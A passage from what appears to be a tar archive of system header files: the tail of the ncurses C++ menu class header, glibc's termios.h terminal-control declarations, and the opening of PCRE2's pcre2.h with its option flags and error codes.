this size. NCursesMenu (NCursesMenuItem* Items[], int nlines, int ncols, int begin_y = 0, int begin_x = 0, bool with_frame=FALSE, // Reserve space for a frame? bool autoDelete_Items=FALSE) // Autocleanup of Items? : NCursesPanel(nlines, ncols, begin_y, begin_x), menu(0), sub(0), b_sub_owner(0), b_framed(0), b_autoDelete(0), my_items(0) { InitMenu(Items, with_frame, autoDelete_Items); } NCursesMenu& operator=(const NCursesMenu& rhs) { if (this != &rhs) { *this = rhs; NCursesPanel::operator=(rhs); } return *this; } NCursesMenu(const NCursesMenu& rhs) : NCursesPanel(rhs), menu(rhs.menu), sub(rhs.sub), b_sub_owner(rhs.b_sub_owner), b_framed(rhs.b_framed), b_autoDelete(rhs.b_autoDelete), my_items(rhs.my_items) { } virtual ~NCursesMenu (); // Retrieve the menus subwindow inline NCursesWindow& subWindow() const { assert(sub!=NULL); return *sub; } // Set the menus subwindow void setSubWindow(NCursesWindow& sub); // Set these items for the menu inline void setItems(NCursesMenuItem* Items[]) { OnError(::set_menu_items(menu,mapItems(Items))); } // Remove the menu from the screen inline void unpost (void) { OnError (::unpost_menu (menu)); } // Post the menu to the screen if flag is true, unpost it otherwise inline void post(bool flag = TRUE) { flag ? OnError (::post_menu(menu)) : OnError (::unpost_menu (menu)); } // Get the numer of rows and columns for this menu inline void scale (int& mrows, int& mcols) const { OnError (::scale_menu (menu, &mrows, &mcols)); } // Set the format of this menu inline void set_format(int mrows, int mcols) { OnError (::set_menu_format(menu, mrows, mcols)); } // Get the format of this menu inline void menu_format(int& rows,int& ncols) { ::menu_format(menu,&rows,&ncols); } // Items of the menu inline NCursesMenuItem* items() const { return *my_items; } // Get the number of items in this menu inline int count() const { return ::item_count(menu); } // Get the current item (i.e. the one the cursor is located) inline NCursesMenuItem* current_item() const { return my_items[::item_index(::current_item(menu))]; } // Get the marker string inline const char* mark() const { return ::menu_mark(menu); } // Set the marker string inline void set_mark(const char *marker) { OnError (::set_menu_mark (menu, marker)); } // Get the name of the request code c inline static const char* request_name(int c) { return ::menu_request_name(c); } // Get the current pattern inline char* pattern() const { return ::menu_pattern(menu); } // true if there is a pattern match, false otherwise. bool set_pattern (const char *pat); // set the default attributes for the menu // i.e. set fore, back and grey attribute virtual void setDefaultAttributes(); // Get the menus background attributes inline chtype back() const { return ::menu_back(menu); } // Get the menus foreground attributes inline chtype fore() const { return ::menu_fore(menu); } // Get the menus grey attributes (used for unselectable items) inline chtype grey() const { return ::menu_grey(menu); } // Set the menus background attributes inline chtype set_background(chtype a) { return ::set_menu_back(menu,a); } // Set the menus foreground attributes inline chtype set_foreground(chtype a) { return ::set_menu_fore(menu,a); } // Set the menus grey attributes (used for unselectable items) inline chtype set_grey(chtype a) { return ::set_menu_grey(menu,a); } inline void options_on (Menu_Options opts) { OnError (::menu_opts_on (menu,opts)); } inline void options_off(Menu_Options opts) { OnError (::menu_opts_off(menu,opts)); } inline Menu_Options options() const { return ::menu_opts(menu); } inline void set_options (Menu_Options opts) { OnError (::set_menu_opts (menu,opts)); } inline int pad() const { return ::menu_pad(menu); } inline void set_pad (int padch) { OnError (::set_menu_pad (menu, padch)); } // Position the cursor to the current item inline void position_cursor () const { OnError (::pos_menu_cursor (menu)); } // Set the current item inline void set_current(NCursesMenuItem& I) { OnError (::set_current_item(menu, I.item)); } // Get the current top row of the menu inline int top_row (void) const { return ::top_row (menu); } // Set the current top row of the menu inline void set_top_row (int row) { OnError (::set_top_row (menu, row)); } // spacing control // Set the spacing for the menu inline void setSpacing(int spc_description, int spc_rows, int spc_columns) { OnError(::set_menu_spacing(menu, spc_description, spc_rows, spc_columns)); } // Get the spacing info for the menu inline void Spacing(int& spc_description, int& spc_rows, int& spc_columns) const { OnError(::menu_spacing(menu, &spc_description, &spc_rows, &spc_columns)); } // Decorations inline void frame(const char *title=NULL, const char* btitle=NULL) { if (b_framed) NCursesPanel::frame(title,btitle); else OnError(E_SYSTEM_ERROR); } inline void boldframe(const char *title=NULL, const char* btitle=NULL) { if (b_framed) NCursesPanel::boldframe(title,btitle); else OnError(E_SYSTEM_ERROR); } inline void label(const char *topLabel, const char *bottomLabel) { if (b_framed) NCursesPanel::label(topLabel,bottomLabel); else OnError(E_SYSTEM_ERROR); } // ----- // Hooks // ----- // Called after the menu gets repositioned in its window. // This is especially true if the menu is posted. virtual void On_Menu_Init(); // Called before the menu gets repositioned in its window. // This is especially true if the menu is unposted. virtual void On_Menu_Termination(); // Called after the item became the current item virtual void On_Item_Init(NCursesMenuItem& item); // Called before this item is left as current item. virtual void On_Item_Termination(NCursesMenuItem& item); // Provide a default key virtualization. Translate the keyboard // code c into a menu request code. // The default implementation provides a hopefully straightforward // mapping for the most common keystrokes and menu requests. virtual int virtualize(int c); // Operators inline NCursesMenuItem* operator[](int i) const { if ( (i < 0) || (i >= ::item_count (menu)) ) OnError (E_BAD_ARGUMENT); return (my_items[i]); } // Perform the menu's operation // Return the item where you left the selection mark for a single // selection menu, or NULL for a multivalued menu. virtual NCursesMenuItem* operator()(void); // -------------------- // Exception handlers // Called by operator() // -------------------- // Called if the request is denied virtual void On_Request_Denied(int c) const; // Called if the item is not selectable virtual void On_Not_Selectable(int c) const; // Called if pattern doesn't match virtual void On_No_Match(int c) const; // Called if the command is unknown virtual void On_Unknown_Command(int c) const; }; // // ------------------------------------------------------------------------- // This is the typical C++ typesafe way to allow to attach // user data to an item of a menu. Its assumed that the user // data belongs to some class T. Use T as template argument // to create a UserItem. // ------------------------------------------------------------------------- // template<class T> class NCURSES_IMPEXP NCursesUserItem : public NCursesMenuItem { public: NCursesUserItem (const char* p_name, const char* p_descript = NULL, const T* p_UserData = STATIC_CAST(T*)(0)) : NCursesMenuItem (p_name, p_descript) { if (item) OnError (::set_item_userptr (item, const_cast<void *>(reinterpret_cast<const void*>(p_UserData)))); } virtual ~NCursesUserItem() {} inline const T* UserData (void) const { return reinterpret_cast<const T*>(::item_userptr (item)); }; inline virtual void setUserData(const T* p_UserData) { if (item) OnError (::set_item_userptr (item, const_cast<void *>(reinterpret_cast<const void *>(p_UserData)))); } }; // // ------------------------------------------------------------------------- // The same mechanism is used to attach user data to a menu // ------------------------------------------------------------------------- // template<class T> class NCURSES_IMPEXP NCursesUserMenu : public NCursesMenu { protected: NCursesUserMenu( int nlines, int ncols, int begin_y = 0, int begin_x = 0, const T* p_UserData = STATIC_CAST(T*)(0)) : NCursesMenu(nlines,ncols,begin_y,begin_x) { if (menu) set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); } public: NCursesUserMenu (NCursesMenuItem* Items[], const T* p_UserData = STATIC_CAST(T*)(0), bool with_frame=FALSE, bool autoDelete_Items=FALSE) : NCursesMenu (Items, with_frame, autoDelete_Items) { if (menu) set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); }; NCursesUserMenu (NCursesMenuItem* Items[], int nlines, int ncols, int begin_y = 0, int begin_x = 0, const T* p_UserData = STATIC_CAST(T*)(0), bool with_frame=FALSE) : NCursesMenu (Items, nlines, ncols, begin_y, begin_x, with_frame) { if (menu) set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); }; virtual ~NCursesUserMenu() { }; inline T* UserData (void) { return reinterpret_cast<T*>(get_user ()); }; inline virtual void setUserData (const T* p_UserData) { if (menu) set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); } }; #endif /* NCURSES_CURSESM_H_incl */ termios.h 0000644 00000007016 15246445046 0006415 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 7.1-2 General Terminal Interface <termios.h> */ #ifndef _TERMIOS_H #define _TERMIOS_H 1 #include <features.h> #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 /* We need `pid_t'. */ # include <bits/types.h> # ifndef __pid_t_defined typedef __pid_t pid_t; # define __pid_t_defined # endif #endif __BEGIN_DECLS /* Get the system-dependent definitions of `struct termios', `tcflag_t', `cc_t', `speed_t', and all the macros specifying the flag bits. */ #include <bits/termios.h> #ifdef __USE_MISC /* Compare a character C to a value VAL from the `c_cc' array in a `struct termios'. If VAL is _POSIX_VDISABLE, no character can match it. */ # define CCEQ(val, c) ((c) == (val) && (val) != _POSIX_VDISABLE) #endif /* Return the output baud rate stored in *TERMIOS_P. */ extern speed_t cfgetospeed (const struct termios *__termios_p) __THROW; /* Return the input baud rate stored in *TERMIOS_P. */ extern speed_t cfgetispeed (const struct termios *__termios_p) __THROW; /* Set the output baud rate stored in *TERMIOS_P to SPEED. */ extern int cfsetospeed (struct termios *__termios_p, speed_t __speed) __THROW; /* Set the input baud rate stored in *TERMIOS_P to SPEED. */ extern int cfsetispeed (struct termios *__termios_p, speed_t __speed) __THROW; #ifdef __USE_MISC /* Set both the input and output baud rates in *TERMIOS_OP to SPEED. */ extern int cfsetspeed (struct termios *__termios_p, speed_t __speed) __THROW; #endif /* Put the state of FD into *TERMIOS_P. */ extern int tcgetattr (int __fd, struct termios *__termios_p) __THROW; /* Set the state of FD to *TERMIOS_P. Values for OPTIONAL_ACTIONS (TCSA*) are in <bits/termios.h>. */ extern int tcsetattr (int __fd, int __optional_actions, const struct termios *__termios_p) __THROW; #ifdef __USE_MISC /* Set *TERMIOS_P to indicate raw mode. */ extern void cfmakeraw (struct termios *__termios_p) __THROW; #endif /* Send zero bits on FD. */ extern int tcsendbreak (int __fd, int __duration) __THROW; /* Wait for pending output to be written on FD. This function is a cancellation point and therefore not marked with __THROW. */ extern int tcdrain (int __fd); /* Flush pending data on FD. Values for QUEUE_SELECTOR (TC{I,O,IO}FLUSH) are in <bits/termios.h>. */ extern int tcflush (int __fd, int __queue_selector) __THROW; /* Suspend or restart transmission on FD. Values for ACTION (TC[IO]{OFF,ON}) are in <bits/termios.h>. */ extern int tcflow (int __fd, int __action) __THROW; #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 /* Get process group ID for session leader for controlling terminal FD. */ extern __pid_t tcgetsid (int __fd) __THROW; #endif #ifdef __USE_MISC # include <sys/ttydefaults.h> #endif __END_DECLS #endif /* termios.h */ pcre2.h 0000644 00000127402 15246445046 0005750 0 ustar 00 /************************************************* * Perl-Compatible Regular Expressions * *************************************************/ /* This is the public header file for the PCRE library, second API, to be #included by applications that call PCRE2 functions. Copyright (c) 2016-2018 University of Cambridge ----------------------------------------------------------------------------- Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of Cambridge nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ----------------------------------------------------------------------------- */ #ifndef PCRE2_H_IDEMPOTENT_GUARD #define PCRE2_H_IDEMPOTENT_GUARD /* The current PCRE version information. */ #define PCRE2_MAJOR 10 #define PCRE2_MINOR 32 #define PCRE2_PRERELEASE #define PCRE2_DATE 2018-09-10 /* For the benefit of systems without stdint.h, an alternative is to use inttypes.h. The existence of these headers is checked by configure or CMake. */ #define PCRE2_HAVE_STDINT_H 1 #define PCRE2_HAVE_INTTYPES_H 1 /* When an application links to a PCRE DLL in Windows, the symbols that are imported have to be identified as such. When building PCRE2, the appropriate export setting is defined in pcre2_internal.h, which includes this file. So we don't change existing definitions of PCRE2_EXP_DECL. */ #if defined(_WIN32) && !defined(PCRE2_STATIC) # ifndef PCRE2_EXP_DECL # define PCRE2_EXP_DECL extern __declspec(dllimport) # endif #endif /* By default, we use the standard "extern" declarations. */ #ifndef PCRE2_EXP_DECL # ifdef __cplusplus # define PCRE2_EXP_DECL extern "C" # else # define PCRE2_EXP_DECL extern # endif #endif /* When compiling with the MSVC compiler, it is sometimes necessary to include a "calling convention" before exported function names. (This is secondhand information; I know nothing about MSVC myself). For example, something like void __cdecl function(....) might be needed. In order so make this easy, all the exported functions have PCRE2_CALL_CONVENTION just before their names. It is rarely needed; if not set, we ensure here that it has no effect. */ #ifndef PCRE2_CALL_CONVENTION #define PCRE2_CALL_CONVENTION #endif /* Have to include limits.h, stdlib.h and stdint.h (or inttypes.h) to ensure that size_t and uint8_t, UCHAR_MAX, etc are defined. If the system has neither header, the relevant values must be provided by some other means. */ #include <limits.h> #include <stdlib.h> #if PCRE2_HAVE_STDINT_H #include <stdint.h> #elif PCRE2_HAVE_INTTYPES_H #include <inttypes.h> #endif /* Allow for C++ users compiling this directly. */ #ifdef __cplusplus extern "C" { #endif /* The following option bits can be passed to pcre2_compile(), pcre2_match(), or pcre2_dfa_match(). PCRE2_NO_UTF_CHECK affects only the function to which it is passed. Put these bits at the most significant end of the options word so others can be added next to them */ #define PCRE2_ANCHORED 0x80000000u #define PCRE2_NO_UTF_CHECK 0x40000000u #define PCRE2_ENDANCHORED 0x20000000u /* The following option bits can be passed only to pcre2_compile(). However, they may affect compilation, JIT compilation, and/or interpretive execution. The following tags indicate which: C alters what is compiled by pcre2_compile() J alters what is compiled by pcre2_jit_compile() M is inspected during pcre2_match() execution D is inspected during pcre2_dfa_match() execution */ #define PCRE2_ALLOW_EMPTY_CLASS 0x00000001u /* C */ #define PCRE2_ALT_BSUX 0x00000002u /* C */ #define PCRE2_AUTO_CALLOUT 0x00000004u /* C */ #define PCRE2_CASELESS 0x00000008u /* C */ #define PCRE2_DOLLAR_ENDONLY 0x00000010u /* J M D */ #define PCRE2_DOTALL 0x00000020u /* C */ #define PCRE2_DUPNAMES 0x00000040u /* C */ #define PCRE2_EXTENDED 0x00000080u /* C */ #define PCRE2_FIRSTLINE 0x00000100u /* J M D */ #define PCRE2_MATCH_UNSET_BACKREF 0x00000200u /* C J M */ #define PCRE2_MULTILINE 0x00000400u /* C */ #define PCRE2_NEVER_UCP 0x00000800u /* C */ #define PCRE2_NEVER_UTF 0x00001000u /* C */ #define PCRE2_NO_AUTO_CAPTURE 0x00002000u /* C */ #define PCRE2_NO_AUTO_POSSESS 0x00004000u /* C */ #define PCRE2_NO_DOTSTAR_ANCHOR 0x00008000u /* C */ #define PCRE2_NO_START_OPTIMIZE 0x00010000u /* J M D */ #define PCRE2_UCP 0x00020000u /* C J M D */ #define PCRE2_UNGREEDY 0x00040000u /* C */ #define PCRE2_UTF 0x00080000u /* C J M D */ #define PCRE2_NEVER_BACKSLASH_C 0x00100000u /* C */ #define PCRE2_ALT_CIRCUMFLEX 0x00200000u /* J M D */ #define PCRE2_ALT_VERBNAMES 0x00400000u /* C */ #define PCRE2_USE_OFFSET_LIMIT 0x00800000u /* J M D */ #define PCRE2_EXTENDED_MORE 0x01000000u /* C */ #define PCRE2_LITERAL 0x02000000u /* C */ /* An additional compile options word is available in the compile context. */ #define PCRE2_EXTRA_ALLOW_SURROGATE_ESCAPES 0x00000001u /* C */ #define PCRE2_EXTRA_BAD_ESCAPE_IS_LITERAL 0x00000002u /* C */ #define PCRE2_EXTRA_MATCH_WORD 0x00000004u /* C */ #define PCRE2_EXTRA_MATCH_LINE 0x00000008u /* C */ /* These are for pcre2_jit_compile(). */ #define PCRE2_JIT_COMPLETE 0x00000001u /* For full matching */ #define PCRE2_JIT_PARTIAL_SOFT 0x00000002u #define PCRE2_JIT_PARTIAL_HARD 0x00000004u /* These are for pcre2_match(), pcre2_dfa_match(), and pcre2_jit_match(). Note that PCRE2_ANCHORED and PCRE2_NO_UTF_CHECK can also be passed to these functions (though pcre2_jit_match() ignores the latter since it bypasses all sanity checks). */ #define PCRE2_NOTBOL 0x00000001u #define PCRE2_NOTEOL 0x00000002u #define PCRE2_NOTEMPTY 0x00000004u /* ) These two must be kept */ #define PCRE2_NOTEMPTY_ATSTART 0x00000008u /* ) adjacent to each other. */ #define PCRE2_PARTIAL_SOFT 0x00000010u #define PCRE2_PARTIAL_HARD 0x00000020u /* These are additional options for pcre2_dfa_match(). */ #define PCRE2_DFA_RESTART 0x00000040u #define PCRE2_DFA_SHORTEST 0x00000080u /* These are additional options for pcre2_substitute(), which passes any others through to pcre2_match(). */ #define PCRE2_SUBSTITUTE_GLOBAL 0x00000100u #define PCRE2_SUBSTITUTE_EXTENDED 0x00000200u #define PCRE2_SUBSTITUTE_UNSET_EMPTY 0x00000400u #define PCRE2_SUBSTITUTE_UNKNOWN_UNSET 0x00000800u #define PCRE2_SUBSTITUTE_OVERFLOW_LENGTH 0x00001000u /* A further option for pcre2_match(), not allowed for pcre2_dfa_match(), ignored for pcre2_jit_match(). */ #define PCRE2_NO_JIT 0x00002000u /* Options for pcre2_pattern_convert(). */ #define PCRE2_CONVERT_UTF 0x00000001u #define PCRE2_CONVERT_NO_UTF_CHECK 0x00000002u #define PCRE2_CONVERT_POSIX_BASIC 0x00000004u #define PCRE2_CONVERT_POSIX_EXTENDED 0x00000008u #define PCRE2_CONVERT_GLOB 0x00000010u #define PCRE2_CONVERT_GLOB_NO_WILD_SEPARATOR 0x00000030u #define PCRE2_CONVERT_GLOB_NO_STARSTAR 0x00000050u /* Newline and \R settings, for use in compile contexts. The newline values must be kept in step with values set in config.h and both sets must all be greater than zero. */ #define PCRE2_NEWLINE_CR 1 #define PCRE2_NEWLINE_LF 2 #define PCRE2_NEWLINE_CRLF 3 #define PCRE2_NEWLINE_ANY 4 #define PCRE2_NEWLINE_ANYCRLF 5 #define PCRE2_NEWLINE_NUL 6 #define PCRE2_BSR_UNICODE 1 #define PCRE2_BSR_ANYCRLF 2 /* Error codes for pcre2_compile(). Some of these are also used by pcre2_pattern_convert(). */ #define PCRE2_ERROR_END_BACKSLASH 101 #define PCRE2_ERROR_END_BACKSLASH_C 102 #define PCRE2_ERROR_UNKNOWN_ESCAPE 103 #define PCRE2_ERROR_QUANTIFIER_OUT_OF_ORDER 104 #define PCRE2_ERROR_QUANTIFIER_TOO_BIG 105 #define PCRE2_ERROR_MISSING_SQUARE_BRACKET 106 #define PCRE2_ERROR_ESCAPE_INVALID_IN_CLASS 107 #define PCRE2_ERROR_CLASS_RANGE_ORDER 108 #define PCRE2_ERROR_QUANTIFIER_INVALID 109 #define PCRE2_ERROR_INTERNAL_UNEXPECTED_REPEAT 110 #define PCRE2_ERROR_INVALID_AFTER_PARENS_QUERY 111 #define PCRE2_ERROR_POSIX_CLASS_NOT_IN_CLASS 112 #define PCRE2_ERROR_POSIX_NO_SUPPORT_COLLATING 113 #define PCRE2_ERROR_MISSING_CLOSING_PARENTHESIS 114 #define PCRE2_ERROR_BAD_SUBPATTERN_REFERENCE 115 #define PCRE2_ERROR_NULL_PATTERN 116 #define PCRE2_ERROR_BAD_OPTIONS 117 #define PCRE2_ERROR_MISSING_COMMENT_CLOSING 118 #define PCRE2_ERROR_PARENTHESES_NEST_TOO_DEEP 119 #define PCRE2_ERROR_PATTERN_TOO_LARGE 120 #define PCRE2_ERROR_HEAP_FAILED 121 #define PCRE2_ERROR_UNMATCHED_CLOSING_PARENTHESIS 122 #define PCRE2_ERROR_INTERNAL_CODE_OVERFLOW 123 #define PCRE2_ERROR_MISSING_CONDITION_CLOSING 124 #define PCRE2_ERROR_LOOKBEHIND_NOT_FIXED_LENGTH 125 #define PCRE2_ERROR_ZERO_RELATIVE_REFERENCE 126 #define PCRE2_ERROR_TOO_MANY_CONDITION_BRANCHES 127 #define PCRE2_ERROR_CONDITION_ASSERTION_EXPECTED 128 #define PCRE2_ERROR_BAD_RELATIVE_REFERENCE 129 #define PCRE2_ERROR_UNKNOWN_POSIX_CLASS 130 #define PCRE2_ERROR_INTERNAL_STUDY_ERROR 131 #define PCRE2_ERROR_UNICODE_NOT_SUPPORTED 132 #define PCRE2_ERROR_PARENTHESES_STACK_CHECK 133 #define PCRE2_ERROR_CODE_POINT_TOO_BIG 134 #define PCRE2_ERROR_LOOKBEHIND_TOO_COMPLICATED 135 #define PCRE2_ERROR_LOOKBEHIND_INVALID_BACKSLASH_C 136 #define PCRE2_ERROR_UNSUPPORTED_ESCAPE_SEQUENCE 137 #define PCRE2_ERROR_CALLOUT_NUMBER_TOO_BIG 138 #define PCRE2_ERROR_MISSING_CALLOUT_CLOSING 139 #define PCRE2_ERROR_ESCAPE_INVALID_IN_VERB 140 #define PCRE2_ERROR_UNRECOGNIZED_AFTER_QUERY_P 141 #define PCRE2_ERROR_MISSING_NAME_TERMINATOR 142 #define PCRE2_ERROR_DUPLICATE_SUBPATTERN_NAME 143 #define PCRE2_ERROR_INVALID_SUBPATTERN_NAME 144 #define PCRE2_ERROR_UNICODE_PROPERTIES_UNAVAILABLE 145 #define PCRE2_ERROR_MALFORMED_UNICODE_PROPERTY 146 #define PCRE2_ERROR_UNKNOWN_UNICODE_PROPERTY 147 #define PCRE2_ERROR_SUBPATTERN_NAME_TOO_LONG 148 #define PCRE2_ERROR_TOO_MANY_NAMED_SUBPATTERNS 149 #define PCRE2_ERROR_CLASS_INVALID_RANGE 150 #define PCRE2_ERROR_OCTAL_BYTE_TOO_BIG 151 #define PCRE2_ERROR_INTERNAL_OVERRAN_WORKSPACE 152 #define PCRE2_ERROR_INTERNAL_MISSING_SUBPATTERN 153 #define PCRE2_ERROR_DEFINE_TOO_MANY_BRANCHES 154 #define PCRE2_ERROR_BACKSLASH_O_MISSING_BRACE 155 #define PCRE2_ERROR_INTERNAL_UNKNOWN_NEWLINE 156 #define PCRE2_ERROR_BACKSLASH_G_SYNTAX 157 #define PCRE2_ERROR_PARENS_QUERY_R_MISSING_CLOSING 158 /* Error 159 is obsolete and should now never occur */ #define PCRE2_ERROR_VERB_ARGUMENT_NOT_ALLOWED 159 #define PCRE2_ERROR_VERB_UNKNOWN 160 #define PCRE2_ERROR_SUBPATTERN_NUMBER_TOO_BIG 161 #define PCRE2_ERROR_SUBPATTERN_NAME_EXPECTED 162 #define PCRE2_ERROR_INTERNAL_PARSED_OVERFLOW 163 #define PCRE2_ERROR_INVALID_OCTAL 164 #define PCRE2_ERROR_SUBPATTERN_NAMES_MISMATCH 165 #define PCRE2_ERROR_MARK_MISSING_ARGUMENT 166 #define PCRE2_ERROR_INVALID_HEXADECIMAL 167 #define PCRE2_ERROR_BACKSLASH_C_SYNTAX 168 #define PCRE2_ERROR_BACKSLASH_K_SYNTAX 169 #define PCRE2_ERROR_INTERNAL_BAD_CODE_LOOKBEHINDS 170 #define PCRE2_ERROR_BACKSLASH_N_IN_CLASS 171 #define PCRE2_ERROR_CALLOUT_STRING_TOO_LONG 172 #define PCRE2_ERROR_UNICODE_DISALLOWED_CODE_POINT 173 #define PCRE2_ERROR_UTF_IS_DISABLED 174 #define PCRE2_ERROR_UCP_IS_DISABLED 175 #define PCRE2_ERROR_VERB_NAME_TOO_LONG 176 #define PCRE2_ERROR_BACKSLASH_U_CODE_POINT_TOO_BIG 177 #define PCRE2_ERROR_MISSING_OCTAL_OR_HEX_DIGITS 178 #define PCRE2_ERROR_VERSION_CONDITION_SYNTAX 179 #define PCRE2_ERROR_INTERNAL_BAD_CODE_AUTO_POSSESS 180 #define PCRE2_ERROR_CALLOUT_NO_STRING_DELIMITER 181 #define PCRE2_ERROR_CALLOUT_BAD_STRING_DELIMITER 182 #define PCRE2_ERROR_BACKSLASH_C_CALLER_DISABLED 183 #define PCRE2_ERROR_QUERY_BARJX_NEST_TOO_DEEP 184 #define PCRE2_ERROR_BACKSLASH_C_LIBRARY_DISABLED 185 #define PCRE2_ERROR_PATTERN_TOO_COMPLICATED 186 #define PCRE2_ERROR_LOOKBEHIND_TOO_LONG 187 #define PCRE2_ERROR_PATTERN_STRING_TOO_LONG 188 #define PCRE2_ERROR_INTERNAL_BAD_CODE 189 #define PCRE2_ERROR_INTERNAL_BAD_CODE_IN_SKIP 190 #define PCRE2_ERROR_NO_SURROGATES_IN_UTF16 191 #define PCRE2_ERROR_BAD_LITERAL_OPTIONS 192 #define PCRE2_ERROR_SUPPORTED_ONLY_IN_UNICODE 193 #define PCRE2_ERROR_INVALID_HYPHEN_IN_OPTIONS 194 /* "Expected" matching error codes: no match and partial match. */ #define PCRE2_ERROR_NOMATCH (-1) #define PCRE2_ERROR_PARTIAL (-2) /* Error codes for UTF-8 validity checks */ #define PCRE2_ERROR_UTF8_ERR1 (-3) #define PCRE2_ERROR_UTF8_ERR2 (-4) #define PCRE2_ERROR_UTF8_ERR3 (-5) #define PCRE2_ERROR_UTF8_ERR4 (-6) #define PCRE2_ERROR_UTF8_ERR5 (-7) #define PCRE2_ERROR_UTF8_ERR6 (-8) #define PCRE2_ERROR_UTF8_ERR7 (-9) #define PCRE2_ERROR_UTF8_ERR8 (-10) #define PCRE2_ERROR_UTF8_ERR9 (-11) #define PCRE2_ERROR_UTF8_ERR10 (-12) #define PCRE2_ERROR_UTF8_ERR11 (-13) #define PCRE2_ERROR_UTF8_ERR12 (-14) #define PCRE2_ERROR_UTF8_ERR13 (-15) #define PCRE2_ERROR_UTF8_ERR14 (-16) #define PCRE2_ERROR_UTF8_ERR15 (-17) #define PCRE2_ERROR_UTF8_ERR16 (-18) #define PCRE2_ERROR_UTF8_ERR17 (-19) #define PCRE2_ERROR_UTF8_ERR18 (-20) #define PCRE2_ERROR_UTF8_ERR19 (-21) #define PCRE2_ERROR_UTF8_ERR20 (-22) #define PCRE2_ERROR_UTF8_ERR21 (-23) /* Error codes for UTF-16 validity checks */ #define PCRE2_ERROR_UTF16_ERR1 (-24) #define PCRE2_ERROR_UTF16_ERR2 (-25) #define PCRE2_ERROR_UTF16_ERR3 (-26) /* Error codes for UTF-32 validity checks */ #define PCRE2_ERROR_UTF32_ERR1 (-27) #define PCRE2_ERROR_UTF32_ERR2 (-28) /* Miscellaneous error codes for pcre2[_dfa]_match(), substring extraction functions, context functions, and serializing functions. They are in numerical order. Originally they were in alphabetical order too, but now that PCRE2 is released, the numbers must not be changed. */ #define PCRE2_ERROR_BADDATA (-29) #define PCRE2_ERROR_MIXEDTABLES (-30) /* Name was changed */ #define PCRE2_ERROR_BADMAGIC (-31) #define PCRE2_ERROR_BADMODE (-32) #define PCRE2_ERROR_BADOFFSET (-33) #define PCRE2_ERROR_BADOPTION (-34) #define PCRE2_ERROR_BADREPLACEMENT (-35) #define PCRE2_ERROR_BADUTFOFFSET (-36) #define PCRE2_ERROR_CALLOUT (-37) /* Never used by PCRE2 itself */ #define PCRE2_ERROR_DFA_BADRESTART (-38) #define PCRE2_ERROR_DFA_RECURSE (-39) #define PCRE2_ERROR_DFA_UCOND (-40) #define PCRE2_ERROR_DFA_UFUNC (-41) #define PCRE2_ERROR_DFA_UITEM (-42) #define PCRE2_ERROR_DFA_WSSIZE (-43) #define PCRE2_ERROR_INTERNAL (-44) #define PCRE2_ERROR_JIT_BADOPTION (-45) #define PCRE2_ERROR_JIT_STACKLIMIT (-46) #define PCRE2_ERROR_MATCHLIMIT (-47) #define PCRE2_ERROR_NOMEMORY (-48) #define PCRE2_ERROR_NOSUBSTRING (-49) #define PCRE2_ERROR_NOUNIQUESUBSTRING (-50) #define PCRE2_ERROR_NULL (-51) #define PCRE2_ERROR_RECURSELOOP (-52) #define PCRE2_ERROR_DEPTHLIMIT (-53) #define PCRE2_ERROR_RECURSIONLIMIT (-53) /* Obsolete synonym */ #define PCRE2_ERROR_UNAVAILABLE (-54) #define PCRE2_ERROR_UNSET (-55) #define PCRE2_ERROR_BADOFFSETLIMIT (-56) #define PCRE2_ERROR_BADREPESCAPE (-57) #define PCRE2_ERROR_REPMISSINGBRACE (-58) #define PCRE2_ERROR_BADSUBSTITUTION (-59) #define PCRE2_ERROR_BADSUBSPATTERN (-60) #define PCRE2_ERROR_TOOMANYREPLACE (-61) #define PCRE2_ERROR_BADSERIALIZEDDATA (-62) #define PCRE2_ERROR_HEAPLIMIT (-63) #define PCRE2_ERROR_CONVERT_SYNTAX (-64) #define PCRE2_ERROR_INTERNAL_DUPMATCH (-65) /* Request types for pcre2_pattern_info() */ #define PCRE2_INFO_ALLOPTIONS 0 #define PCRE2_INFO_ARGOPTIONS 1 #define PCRE2_INFO_BACKREFMAX 2 #define PCRE2_INFO_BSR 3 #define PCRE2_INFO_CAPTURECOUNT 4 #define PCRE2_INFO_FIRSTCODEUNIT 5 #define PCRE2_INFO_FIRSTCODETYPE 6 #define PCRE2_INFO_FIRSTBITMAP 7 #define PCRE2_INFO_HASCRORLF 8 #define PCRE2_INFO_JCHANGED 9 #define 